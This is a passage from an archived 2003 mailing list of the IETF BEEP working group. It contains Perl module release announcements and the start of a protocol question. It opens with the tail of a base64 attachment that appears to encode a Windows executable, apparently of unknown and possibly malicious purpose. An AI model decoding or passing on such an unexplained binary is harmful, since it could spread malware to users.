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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAADgAAABYQzAwMTgxNWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABE
AQAAWEMwMDE4MTVkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAIwDAABYQzAwMTgxNWQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQsAAFhDMDAxODE1
ZA==
--_NextPart_000_002C8602--


From davidb@verisignlabs.com Mon Sep  8 11:23:10 2003
Received: from cliffie.verisignlabs.com (thing.verisignlabs.com [65.201.175.62])
	by qawoor.dbc.mtview.ca.us (8.12.9/8.12.9) with ESMTP id h88IN9I9020329
	for <beepwg@lists.beepcore.org>; Mon, 8 Sep 2003 11:23:09 -0700 (PDT)
Received: from pinion.admin.cto.netsol.com (scooter.bo.verisignlabs.com [::ffff:172.25.170.10])
  (AUTH: LOGIN davidb, TLS: TLSv1/SSLv3,128bits,RC4-MD5)
  by cliffie.verisignlabs.com with esmtp; Mon, 08 Sep 2003 14:23:00 -0400
From: David Blacka <davidb@verisignlabs.com>
Organization: Verisign, Inc.
To: beepwg@lists.beepcore.org
Date: Mon, 8 Sep 2003 14:18:26 -0400
User-Agent: KMail/1.5.3
References: <20030904145700.4861.17238.Mailman@qawoor.dbc.mtview.ca.us>
In-Reply-To: <20030904145700.4861.17238.Mailman@qawoor.dbc.mtview.ca.us>
MIME-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Message-Id: <200309081418.27089.davidb@verisignlabs.com>
Subject: [BEEPwg] ANNOUNCE: Net::BeepLite 0.01
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

I have released Net::BeepLite 0.01.  From the README:

  Net::BeepLite is a lightweight implementation of a BEEP (RFC 3080, RFC
  3081) client/server framework.  This package is intended for
  implementing fairly simple BEEP clients and servers.  It does not
  attempt to be the last word on using BEEP in Perl.  Or to put this
  another way, this package does not make an attempt to support every
  feature or mode of operation possible within the BEEP specification.

  It does not use threading, and thus cannot directly handle multiple
  ansynchronous channels.  It does not directly support peer-to-peer
  operations.  Or at least not yet.

Even though this is a 0.01 release, the code is pretty complete and 
somewhat tested.  For now, the main webpage for it is 
<http://iris.verisignlabs.com> (this is shared by a few other projects 
supporting IRIS, which is a proposal in the IETF crisp working group).  It 
can be fetched from
 
<http://iris.verisignlabs.com/software/netbeeplite/Net-BeepLite-0.01.tar.gz>.

I have uploaded it to PAUSE, so hopefully it will be on CPAN at some point 
in the relatively near future.

-- 
David Blacka    <davidb@verisignlabs.com> 
Sr. Engineer    Verisign Applied Research


From davidb@verisignlabs.com Tue Sep  9 09:42:16 2003
Received: from cliffie.verisignlabs.com (thing.verisignlabs.com [65.201.175.62])
	by qawoor.dbc.mtview.ca.us (8.12.9/8.12.9) with ESMTP id h89GgFvK000543
	for <beepwg@lists.beepcore.org>; Tue, 9 Sep 2003 09:42:15 -0700 (PDT)
Received: from pinion.admin.cto.netsol.com (scooter.bo.verisignlabs.com [::ffff:172.25.170.10])
  (AUTH: LOGIN davidb, TLS: TLSv1/SSLv3,128bits,RC4-MD5)
  by cliffie.verisignlabs.com with esmtp; Tue, 09 Sep 2003 12:42:04 -0400
From: David Blacka <davidb@verisignlabs.com>
Organization: Verisign, Inc.
To: beepwg@lists.beepcore.org
Date: Tue, 9 Sep 2003 12:37:28 -0400
User-Agent: KMail/1.5.3
References: <20030904145700.4861.17238.Mailman@qawoor.dbc.mtview.ca.us>
In-Reply-To: <20030904145700.4861.17238.Mailman@qawoor.dbc.mtview.ca.us>
MIME-Version: 1.0
Content-Disposition: inline
X-UID: 839
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Message-Id: <200309091237.28817.davidb@verisignlabs.com>
Subject: [BEEPwg] ANNOUNCE: Net::BeepLite 0.01
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

I have released Net::BeepLite 0.01.  From the README:

  Net::BeepLite is a lightweight implementation of a BEEP (RFC 3080, RFC
  3081) client/server framework.  This package is intended for
  implementing fairly simple BEEP clients and servers.  It does not
  attempt to be the last word on using BEEP in Perl.  Or to put this
  another way, this package does not make an attempt to support every
  feature or mode of operation possible within the BEEP specification.

  It does not use threading, and thus cannot directly handle multiple
  ansynchronous channels.  It does not directly support peer-to-peer
  operations.  Or at least not yet.

Even though this is a 0.01 release, the code is pretty complete and 
somewhat tested.  For now, the main webpage for it is 
<http://iris.verisignlabs.com> (this is shared by a few other projects 
supporting IRIS, which is a proposal in the IETF crisp working group).  It 
can be fetched from
 
<http://iris.verisignlabs.com/software/netbeeplite/Net-BeepLite-0.01.tar.gz>.

I have uploaded it to PAUSE, so hopefully it will be on CPAN at some point 
in the relatively near future.

-- 
David Blacka    <davidb@verisignlabs.com> 
Sr. Engineer    Verisign Applied Research


From davidb@verisignlabs.com Fri Sep 12 07:44:43 2003
Received: from cliffie.verisignlabs.com (thing.verisignlabs.com [65.201.175.62])
	by qawoor.dbc.mtview.ca.us (8.12.9/8.12.9) with ESMTP id h8CEihf4028766
	for <beepwg@lists.beepcore.org>; Fri, 12 Sep 2003 07:44:43 -0700 (PDT)
Received: from pinion.admin.cto.netsol.com (scooter.bo.verisignlabs.com [::ffff:172.25.170.10])
  (AUTH: LOGIN davidb, TLS: TLSv1/SSLv3,128bits,RC4-MD5)
  by cliffie.verisignlabs.com with esmtp; Fri, 12 Sep 2003 10:44:29 -0400
From: David Blacka <davidb@verisignlabs.com>
Organization: Verisign, Inc.
To: beepwg@lists.beepcore.org
Date: Fri, 12 Sep 2003 10:39:46 -0400
User-Agent: KMail/1.5.3
MIME-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Message-Id: <200309121039.46420.davidb@verisignlabs.com>
Subject: [BEEPwg] [ANNOUNCE] Net::BEEP::Lite 0.02
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

This is both a minor name change to the module (as suggested by one of the 
CPAN modules list maintainers), plus a few modifications for the TLS 
profile.

<http://iris.verisignlabs.com/software/netbeeplite/Net-BEEP-Lite-0.02.tar.gz>

or it can be fetched from CPAN.

-- 
David Blacka    <davidb@verisignlabs.com> 
Sr. Engineer    Verisign Applied Research


From davidb@verisignlabs.com Fri Sep 12 07:48:04 2003
Received: from cliffie.verisignlabs.com (thing.verisignlabs.com [65.201.175.62])
	by qawoor.dbc.mtview.ca.us (8.12.9/8.12.9) with ESMTP id h8CEm3f4028791
	for <beepwg@lists.beepcore.org>; Fri, 12 Sep 2003 07:48:04 -0700 (PDT)
Received: from pinion.admin.cto.netsol.com (scooter.bo.verisignlabs.com [::ffff:172.25.170.10])
  (AUTH: LOGIN davidb, TLS: TLSv1/SSLv3,128bits,RC4-MD5)
  by cliffie.verisignlabs.com with esmtp; Fri, 12 Sep 2003 10:47:58 -0400
From: David Blacka <davidb@verisignlabs.com>
Organization: Verisign, Inc.
To: beepwg@lists.beepcore.org
Date: Fri, 12 Sep 2003 10:43:15 -0400
User-Agent: KMail/1.5.3
MIME-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Message-Id: <200309121043.15802.davidb@verisignlabs.com>
Subject: [BEEPwg] [ANNOUNCE] Net::BEEP::Lite::TLSProfile 0.01
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

This is the first release of the TLS profile for the Net::BEEP::Lite 
module.

<http://iris.verisignlabs.com/software/netbeeplite/Net-BEEP-Lite-TLSProfile-0.01.tar.gz>
-- 
David Blacka    <davidb@verisignlabs.com> 
Sr. Engineer    Verisign Applied Research


From rgerhards@hq.adiscon.com Mon Sep 15 08:13:05 2003
Received: from grfext.intern.adiscon.com (grfext.intern.adiscon.com [217.6.190.187] (may be forged))
	by qawoor.dbc.mtview.ca.us (8.12.9/8.12.9) with SMTP id h8FFCxf4029567
	for <beepwg@lists.beepcore.org>; Mon, 15 Sep 2003 08:13:05 -0700 (PDT)
Received: from 172.19.0.5 by grfext.intern.adiscon.com (InterScan E-Mail VirusWall NT); Mon, 15 Sep 2003 17:12:52 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
Date: Mon, 15 Sep 2003 17:12:51 +0200
Message-ID: <28915501A44DBA4587FE1019D675F98307C719@grfint.intern.adiscon.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: RFC3080 MSG/RPY Window
Thread-Index: AcN5PkNhFM/b/teERdOoxBTUu3ek2gCXSoGg
From: "Rainer Gerhards" <rgerhards@hq.adiscon.com>
To: <beepwg@lists.beepcore.org>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by qawoor.dbc.mtview.ca.us id h8FFCxf4029567
Subject: [BEEPwg] RFC3080 MSG/RPY Window
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Hello WG,

I am implementing BEEP-Based 


From rgerhards@hq.adiscon.com Mon Sep 15 08:18:07 2003
Received: from grfext.intern.adiscon.com (grfext.intern.adiscon.com [217.6.190.187] (may be forged))
	by qawoor.dbc.mtview.ca.us (8.12.9/8.12.9) with SMTP id h8FFI6f4029618
	for <beepwg@lists.beepcore.org>; Mon, 15 Sep 2003 08:18:06 -0700 (PDT)
Received: from 172.19.0.5 by grfext.intern.adiscon.com (InterScan E-Mail VirusWall NT); Mon, 15 Sep 2003 17:18:02 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
Date: Mon, 15 Sep 2003 17:18:01 +0200
Message-ID: <28915501A44DBA4587FE1019D675F983093CB1@grfint.intern.adiscon.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: RFC3080 MSG/RPY Window
Thread-Index: AcN5PkNhFM/b/teERdOoxBTUu3ek2gCXSoGg
From: "Rainer Gerhards" <rgerhards@hq.adiscon.com>
To: <beepwg@lists.beepcore.org>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by qawoor.dbc.mtview.ca.us id h8FFI6f4029618
Subject: [BEEPwg] RFC3080 MSG/RPY Window
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
